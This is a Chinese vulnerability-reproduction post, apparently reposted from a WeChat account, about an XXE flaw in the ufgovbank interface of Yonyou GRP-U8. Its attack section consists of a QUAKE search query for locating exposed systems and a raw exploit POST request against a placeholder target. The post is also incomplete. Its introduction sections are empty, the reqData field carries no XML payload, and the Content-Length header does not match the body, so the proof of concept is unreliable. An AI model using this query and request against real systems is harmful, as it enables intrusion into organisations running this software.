漏洞复现
用友GRP-U8ufgovbank接口XXE漏洞
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。本文所提供的工具仅用于学习，禁止用于其他目的，推荐大家在了解技术原理的前提下，更好的维护个人信息安全、企业安全、国家安全。
产品介绍
漏洞介绍
漏洞编号：无
漏洞类型：xml外部实体注入漏洞
资产测绘
QUAKE=app:"body="login.jsp?up=1""
漏洞复现
POST /ufgovbank HTTP/1.1Host: 目标IPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Connection: closeContent-Length: 5Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzipreqData=&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
修复建议
1.更新到最新版本。
长按识别关注我们
原文始发于微信公众号（Guoxin 401）：漏洞复现|用友GRP-U8ufgovbank接口XXE
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论